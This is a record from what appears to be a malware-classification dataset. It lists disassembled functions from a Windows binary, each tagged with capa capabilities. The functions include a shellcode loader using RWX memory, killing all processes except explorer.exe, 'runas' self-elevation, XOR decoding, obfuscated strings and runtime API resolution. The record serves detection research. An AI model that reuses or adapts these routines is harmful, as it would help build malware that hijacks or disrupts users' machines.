joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4084b0
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x318
mov eax, dword [0x446040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, edx
test edi, edi
je 0x408514
lea eax, [ebp - 0x314]
push eax
push 0x437440
push 1
push 0
push 0x437470
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x408514
mov eax, dword [ebp - 0x314]
lea edx, [ebp - 0x318]
push edx
push 0x437480
push eax
mov ecx, dword [eax]
call dword [ecx]
test eax, eax
mov eax, dword [ebp - 0x314]
jns 0x408526
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
pop edi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004137fd
mov esp, ebp
pop ebp
ret
push esi
mov esi, dword [eax]
call fcn.0041cee9
push dword [eax]
push dword [ebp - 0x314]
call dword [esi + 0x50]
mov eax, dword [ebp - 0x314]
push 0x27b
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
mov eax, dword [ebp - 0x314]
push str.That_is_a_test
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0x314]
push 1
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
test ebx, ebx
je 0x40858d
push str..lnk
push ebx
push edi
lea eax, [ebp - 0x108]
push str._s_s_s
push eax
call fcn.00411020
add esp, 0x14
jmp 0x40860b
call fcn.0041cee9
push 0x5c
push dword [eax]
call fcn.00415d30
add esp, 8
test eax, eax
jne 0x4085cd
mov eax, dword [ebp - 0x318]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x314]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
pop esi
pop edi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004137fd
mov esp, ebp
pop ebp
ret
push eax
push edi
lea eax, [ebp - 0x108]
push str._s_s
push eax
call fcn.00411020
lea ecx, [ebp - 0x108]
add esp, 0x10
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4085f0
sub ecx, edx
mov word [ebp + ecx - 0x10b], 0x6e6c
mov byte [ebp + ecx - 0x109], 0x6b
push 0x104
lea eax, [ebp - 0x310]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x108]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [ebp - 0x318]
lea edx, [ebp - 0x310]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x18]
mov esi, eax
mov eax, dword [ebp - 0x318]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov ecx, dword [ebp - 0x314]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov ecx, dword [ebp - 4]
not esi
shr esi, 0x1f
xor ecx, ebp
mov eax, esi
pop esi
pop edi
pop ebx
call fcn.004137fd
mov esp, ebp
pop ebp
ret
Function at 0x408bc0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x446040]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push 0x124
mov esi, eax
mov dword [esp + 0x14], 0x128
lea eax, [esp + 0x18]
push 0
push eax
call fcn.004166e0
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov edi, dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
nop dword [eax]
lea eax, [esp + 0x34]
push str.explorer.exe
push eax
call fcn.0041cf28
add esp, 8
test eax, eax
jne 0x408c4c
push dword [esp + 0x18]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x408c4c
push 0
push eax
call edi
lea eax, [esp + 0x10]
push eax
push esi
call ebx
test eax, eax
jne 0x408c20
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x13c]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004137fd
mov esp, ebp
pop ebp
ret
Function at 0x408ee0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x446040]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
push 0
push 2
mov ebx, ecx
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [esp + 0x10], 0x128
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
jne 0x408f40
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.004137fd
mov esp, ebp
pop ebp
ret
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
lea eax, [esp + 0x10]
push eax
push esi
mov dword [esp + 0x18], 0x128
call edi
test eax, eax
je 0x408fad
nop word [eax + eax]
mov eax, ebx
lea ecx, [esp + 0x34]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x408f86
test dl, dl
je 0x408f82
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x408f86
add ecx, 2
add eax, 2
test dl, dl
jne 0x408f66
xor eax, eax
jmp 0x408f8b
sbb eax, eax
or eax, 1
test eax, eax
je 0x408fa5
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x128
push eax
push esi
call edi
test eax, eax
jne 0x408f60
jmp 0x408fad
mov eax, dword [esp + 0x18]
mov dword [esp + 0xc], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x13c]
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004137fd
mov esp, ebp
pop ebp
ret
Function at 0x409aa0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x40
push 0x1000
lea esi, [edx - 0x65]
mov edi, ecx
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
lea ecx, [edi + 0x65]
mov dword [ebp - 4], eax
push ecx
push eax
call fcn.00416160
add esp, 0xc
pushal
mov eax, dword [ebp - 4]
call eax
popal
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x409ae0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x164
mov eax, dword [0x446040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov ebx, ecx
mov dword [ebp - 0x10c], edx
mov esi, ebx
push edi
lea edi, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x409b03
sub esi, edi
je 0x409c2a
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.004166e0
add esp, 8
lea eax, [ebp - 0x108]
mov edx, str.Applicationsiexplore.exe_shellopencommand
push 0x104
push ecx
push eax
push 1
push 0
mov ecx, SysReAllocString
call fcn.004131c0
add esp, 0x18
test eax, eax
je 0x409c2a
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x409c2a
lea eax, [ebp - 0x108]
push 0x44027c
push eax
call fcn.00415a40
add esp, 8
test eax, eax
je 0x409c2a
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp dword [ebp - 0x10c], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x150], xmm0
movlpd qword [ebp - 0x148], xmm0
movlpd qword [ebp - 0x140], xmm0
movlpd qword [ebp - 0x138], xmm0
movlpd qword [ebp - 0x130], xmm0
movlpd qword [ebp - 0x128], xmm0
movlpd qword [ebp - 0x120], xmm0
movlpd qword [ebp - 0x118], xmm0
mov dword [ebp - 0x154], 0x44
je 0x409bee
mov dword [ebp - 0x14c], str.WinSta0Default
jmp 0x409c01
xor eax, eax
mov dword [ebp - 0x128], 1
mov word [ebp - 0x124], ax
lea eax, [ebp - 0x164]
push eax
lea eax, [ebp - 0x154]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004137fd
mov esp, ebp
pop ebp
ret
Function at 0x40a160
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov dword [esi], vtable.CKernelManager.0
cmp dword [esi + 0xfac], ebx
jbe 0x40a19f
push edi
lea edi, [esi + 0xc]
nop dword [eax + eax]
push 0xffffffffffffffff
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
lea edi, [edi + 4]
cmp ebx, dword [esi + 0xfac]
jb 0x40a180
pop edi
push dword [esi + 8]
mov dword [esi], vtable.CManager.0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test byte [ebp + 8], 1
je 0x40a1c2
push 0xfb4
push esi
call fcn.0041380b
add esp, 8
mov eax, esi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x40a230
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x446040]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
push 0
push 2
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x40a2af
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x128
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x40a2a8
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
nop
cmp dword [esi + 0x14], 0xf
mov eax, esi
jbe 0x40a28a
mov eax, dword [esi]
lea ecx, [esp + 0x34]
push ecx
push eax
call fcn.0041cf28
add esp, 8
test eax, eax
je 0x40a2c6
lea eax, [esp + 0x10]
push eax
push edi
call ebx
test eax, eax
jne 0x40a280
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.004137fd
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x13c]
mov al, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004137fd
mov esp, ebp
pop ebp
ret
Function at 0x40d180
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x435a90
mov eax, dword fs:[0]
push eax
sub esp, 0x15c
mov eax, dword [0x446040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
xor esi, esi
mov dword [ebp - 4], 0
lea eax, [ebp - 0x124]
mov dword [ebp - 0x128], 0
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x120]
mov dword [ebp - 0x124], esi
push eax
mov dword [ebp - 0x120], esi
mov word [ebp - 0x11c], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x40d218
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x124]
push esi
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x40d220
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, dword [ebp - 0x124]
test eax, eax
je 0x40d23b
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov dword [ebp - 0x124], 0
test esi, esi
jne 0x40d337
jmp 0x40d24d
cmp dword [ebp - 0x128], 0
jne 0x40d303
push 0x104
lea eax, [ebp - 0x118]
push 0
push eax
call fcn.004166e0
add esp, 0xc
lea eax, [ebp - 0x118]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x40d30d
push 0x38
lea eax, [ebp - 0x164]
mov dword [ebp - 0x168], 0x3c
push 0
push eax
call fcn.004166e0
add esp, 0xc
mov dword [ebp - 0x15c], str.runas
lea eax, [ebp - 0x118]
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x158], eax
lea eax, [ebp - 0x168]
mov dword [ebp - 0x14c], 0xa
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x40d30d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x4c7
jne 0x40d2fd
mov dword [0x446b68], 3
jmp 0x40d30d
test eax, eax
jne 0x40d329
mov al, 1
mov dword [0x446b68], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004137fd
mov esp, ebp
pop ebp
ret
mov dword [0x446b68], 1
xor al, al
jmp 0x40d30d
push 0x444070
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x12c], esi
push eax
call fcn.00416870
int3
Function at 0x40d360
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x464
mov eax, dword [0x446040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x44a610]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
mov esi, dword [eax]
cmp esi, eax
je 0x40d4c8
mov ebx, dword [sym.imp.KERNEL32.dll_AttachConsole]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push dword [esi + 0x10]
call ebx
test eax, eax
jne 0x40d3ad
push 0xa
call edi
push dword [esi + 0x10]
call ebx
test eax, eax
je 0x40d3a0
push 1
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
mov ebx, eax
mov dword [ebp - 0x40c], ebx
cmp ebx, 1
jbe 0x40d453
xor ecx, ecx
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0041383c
add esp, 4
mov dword [ebp - 0x408], eax
push ebx
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
xor edi, edi
nop dword [eax + eax]
mov ebx, dword [ebx + edi*4]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp ebx, eax
je 0x40d433
cmp ebx, dword [esi + 0x10]
je 0x40d433
push ebx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x40d433
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0x408]
inc edi
cmp edi, dword [ebp - 0x40c]
jb 0x40d400
mov eax, ebx
push eax
call fcn.00413845
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
mov ebx, dword [sym.imp.KERNEL32.dll_FreeConsole]
call ebx
test eax, eax
jne 0x40d46a
nop
push 0xa
call edi
call ebx
test eax, eax
je 0x40d460
push 0
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [esi + 8]
cmp byte [eax + 0xd], 0
je 0x40d49b
mov eax, dword [esi + 4]
cmp byte [eax + 0xd], 0
jne 0x40d497
cmp esi, dword [eax + 8]
jne 0x40d497
mov esi, eax
mov eax, dword [eax + 4]
cmp byte [eax + 0xd], 0
je 0x40d487
mov esi, eax
jmp 0x40d4af
mov esi, eax
mov eax, dword [esi]
cmp byte [eax + 0xd], 0
jne 0x40d4af
mov esi, eax
mov eax, dword [esi]
cmp byte [eax + 0xd], 0
je 0x40d4a5
mov ebx, dword [sym.imp.KERNEL32.dll_AttachConsole]
cmp esi, dword [0x44a610]
jne 0x40d397
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
push 0x400
lea eax, [ebp - 0x404]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x420]
mov dword [ebp - 0x464], 0x44
push eax
lea eax, [ebp - 0x464]
xorps xmm0, xmm0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x404]
movlpd qword [ebp - 0x460], xmm0
push eax
push 0
movlpd qword [ebp - 0x458], xmm0
movlpd qword [ebp - 0x450], xmm0
movlpd qword [ebp - 0x448], xmm0
movlpd qword [ebp - 0x440], xmm0
movlpd qword [ebp - 0x438], xmm0
movlpd qword [ebp - 0x430], xmm0
movlpd qword [ebp - 0x428], xmm0
movups xmmword [ebp - 0x420], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40d575
push dword [ebp - 0x41c]
call ebx
push dword [ebp - 0x420]
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.004137fd
mov esp, ebp
pop ebp
ret
Function at 0x40f010
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x435b70
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x446040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
lea eax, [ecx + 4]
mov dword [ecx], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
lea ebx, [ecx + 0x24]
mov dword [ebp - 0x14], eax
lea edi, [ecx + 0x28]
mov dword [eax], 0
push 8
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x18], 0
mov dword [ecx + 0x1c], 0
mov dword [ecx + 0x20], 0
mov dword [ebx], 0
mov dword [edi], 0
mov dword [ecx + 0x2c], 0
mov dword [ecx + 0x30], 0
call fcn.0041384a
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.00414869
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp - 0x10]
mov ecx, eax
mov dword [eax + 0x34], esi
call fcn.0040f2e0
mov eax, dword [ebp - 0x10]
lea edx, [eax + 8]
lea ecx, [eax + 0x14]
lea esi, [eax + 4]
mov dword [eax + 0x10], edx
mov dword [eax + 0xc], esi
mov esi, eax
mov dword [eax + 0x1c], ecx
mov dword [eax], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [eax + 0x48], 0
mov byte [eax + 0x3d], 0
lea eax, [esi + 0x18]
mov dword [esi + 0x20], eax
mov dword [esi + 0x2c], ebx
mov dword [esi + 0x30], edi
mov esi, dword [ebp - 0x14]
mov dword [edx], 0
mov edx, dword [ebp - 0x10]
mov dword [eax], 0
mov eax, dword [0x44ae68]
mov dword [edi], 0
mov dword [esi], 0
mov dword [ecx], 0
mov ecx, dword [0x44ae6c]
mov dword [ebx], 0
mov dword [edx + 0x40], eax
mov eax, edx
mov dword [edx + 0x4c], 0
mov dword [edx + 0x44], ecx
mov dword [edx + 0x38], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4106b0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov ecx, 0x447b30
push 0
call fcn.00413796
mov edi, eax
mov esi, 1
test edi, edi
je 0x410818
mov ebx, dword [ebp + 8]
mov eax, ebx
shr eax, 4
mov dword [ebp - 4], eax
inc eax
movzx eax, ax
mov dword [ebp + 8], eax
nop dword [eax]
push 0
push eax
push 6
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
test eax, eax
je 0x410711
push ebx
mov edx, eax
mov ecx, edi
call fcn.00410c40
add esp, 4
test eax, eax
jne 0x41072c
push esi
mov ecx, 0x447b30
call fcn.00413796
mov edi, eax
inc esi
test edi, edi
je 0x410818
mov eax, dword [ebp + 8]
jmp 0x4106f0
test edi, edi
je 0x410818
mov eax, dword [ebp - 4]
inc eax
push 6
movzx eax, ax
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp + 8], eax
test eax, eax
je 0x410818
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x410818
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x410818
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea ecx, [esi + eax]
and ebx, 0xf
jbe 0x410799
cmp esi, ecx
jae 0x410818
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ebx, 1
jne 0x410783
cmp esi, ecx
jae 0x410818
cmp word [esi], 0
je 0x410818
movzx eax, word [esi]
lea ecx, [esi + 2]
push 0
push 0
push 0
push 0
push eax
push ecx
push 0
push 3
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
test edi, edi
js 0x410823
mov ebx, dword [ebp - 8]
mov edx, 1
mov ecx, dword [ebx]
sub edx, dword [ecx - 4]
mov ecx, dword [ecx - 8]
sub ecx, edi
or edx, ecx
jge 0x4107e1
push edi
mov ecx, ebx
call fcn.0040f460
movzx eax, word [esi]
push 0
push 0
push edi
push dword [ebx]
push eax
lea eax, [esi + 2]
push eax
push 0
push 3
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [ebx]
cmp edi, dword [eax - 8]
jg 0x410823
mov dword [eax - 0xc], edi
mov eax, dword [ebx]
mov byte [edi + eax], 0
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0x80070057
call fcn.00410cc0
int3

Function at 0x410c40
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x410c9b
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x410c9b
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 8]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x410c88
cmp esi, edx
jae 0x410c9b
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x410c76
cmp esi, edx
jae 0x410c9b
xor eax, eax
cmp word [esi], ax
pop edi
cmove esi, eax
mov eax, esi
pop esi
pop ebx
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret
Function at 0x411e50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x446040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov ebx, edx
push 0
push edi
call fcn.004166e0
push 0x400
lea eax, [ebp - 0x410]
push 0
push eax
call fcn.004166e0
push 0x44a390
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x6e69614d
push eax
lea eax, [ebp - 0x410]
mov dword [ebp - 0xc], 0x5c6c6c44
push eax
mov word [ebp - 8], 0x7325
mov byte [ebp - 6], 0
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
lea edx, [ebp - 0x410]
push dword [ebp + 0xc]
push ecx
push edi
push 1
push ebx
mov ecx, SysReAllocString
call fcn.004131c0
mov ecx, dword [ebp - 4]
add esp, 0x18
xor ecx, ebp
pop edi
pop ebx
call fcn.004137fd
mov esp, ebp
pop ebp
ret

Function at 0x412070
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea edx, [ebp - 4]
mov dword [ebp - 4], 0
call fcn.00411ef0
mov esi, eax
xor ecx, ecx
test esi, esi
jle 0x412120
push edi
mov edi, dword [ebp - 4]
cmp esi, 0x40
jb 0x412113
push ebx
and eax, 0x8000003f
jns 0x4120a6
dec eax
or eax, 0xffffffc0
inc eax
movaps xmm1, xmmword [0x441780]
lea edx, [edi + 0x20]
movaps xmm2, xmmword [0x4417f0]
mov ebx, esi
sub ebx, eax
nop dword [eax + eax]
movups xmm0, xmmword [edx - 0x20]
add ecx, 0x40
lea edx, [edx + 0x40]
psubb xmm0, xmm1
xorps xmm0, xmm2
movups xmmword [edx - 0x60], xmm0
movups xmm0, xmmword [edx - 0x50]
psubb xmm0, xmm1
xorps xmm0, xmm2
movups xmmword [edx - 0x50], xmm0
movups xmm0, xmmword [edx - 0x40]
psubb xmm0, xmm1
xorps xmm0, xmm2
movups xmmword [edx - 0x40], xmm0
movups xmm0, xmmword [edx - 0x30]
psubb xmm0, xmm1
xorps xmm0, xmm2
movups xmmword [edx - 0x30], xmm0
cmp ecx, ebx
jl 0x4120c0
pop ebx
cmp ecx, esi
jl 0x412113
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov al, byte [ecx + edi]
sub al, 0x13
xor al, 0x93
mov byte [ecx + edi], al
inc ecx
jmp 0x412107
mov eax, dword [ebp - 4]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x412d80
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push 0
push 0
push 0
push 0
mov dword [ebp - 0x10], 0x4126d0
mov dword [ebp - 0xc], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push eax
push 0x412df0
push 0
push 0
call fcn.0041e55a
add esp, 0x18
mov ebx, eax
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x412e40
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x443610
push 0x415ed0
mov eax, dword fs:[0]
push eax
sub esp, 0x12c
mov eax, dword [0x446040]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x128], ecx
push str.user32.dll
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call edi
mov dword [ebp - 0x120], eax
push str.GetThreadDesktop
push eax
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov ebx, eax
push str.GetUserObjectInformationA
push dword [ebp - 0x120]
call esi
mov dword [ebp - 0x12c], eax
push str.SetThreadDesktop
push dword [ebp - 0x120]
call esi
mov dword [ebp - 0x130], eax
push str.CloseDesktop
push dword [ebp - 0x120]
call esi
mov dword [ebp - 0x134], eax
push str.kernel32.dll
call edi
mov dword [ebp - 0x138], eax
push 0x4416a4
push eax
call esi
call eax
push eax
call ebx
mov ebx, eax
mov esi, 1
mov dword [ebp - 0x124], esi
mov dword [ebp - 4], 0
lea eax, [ebp - 0x13c]
push eax
push 0x100
lea eax, [ebp - 0x11c]
push eax
push 2
mov edi, dword [ebp - 0x128]
push edi
call dword [ebp - 0x12c]
test eax, eax
jne 0x412f36
xor esi, esi
mov dword [ebp - 0x124], esi
jmp 0x412f48
push edi
call dword [ebp - 0x130]
test eax, eax
je 0x412f2c
push ebx
call dword [ebp - 0x134]
mov dword [ebp - 4], 0xfffffffe
call fcn.00412f78
mov eax, esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.004137fd
mov esp, ebp
pop ebp
ret